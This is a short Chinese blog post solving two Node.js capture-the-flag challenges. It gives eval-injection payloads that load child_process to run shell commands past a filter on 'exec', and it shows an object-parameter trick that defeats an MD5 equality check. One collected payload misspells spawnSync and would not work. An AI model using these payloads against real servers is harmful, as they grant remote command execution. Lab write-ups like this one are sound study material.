Nodejs

Nodejs-Web336

global.process.mainModule.constructor._load('child_process').execSync('ls')
eval执行代码,过滤了exec,上面的payload用不了

网上搜集的payload

require('child_process').spawnSync('ls',['./']).stdout.toString()
global.process.mainModule.constructor._load('child_process').spwanSync('ls',['.']).toString()

Nodejs-Web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

关键代码a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
传入a[x]=1&b[x]=1
a,b都是引用类型md5就可以绕过

posted @ 2023-03-19 15:05  V3g3t4ble  阅读(48)  评论(0)    收藏  举报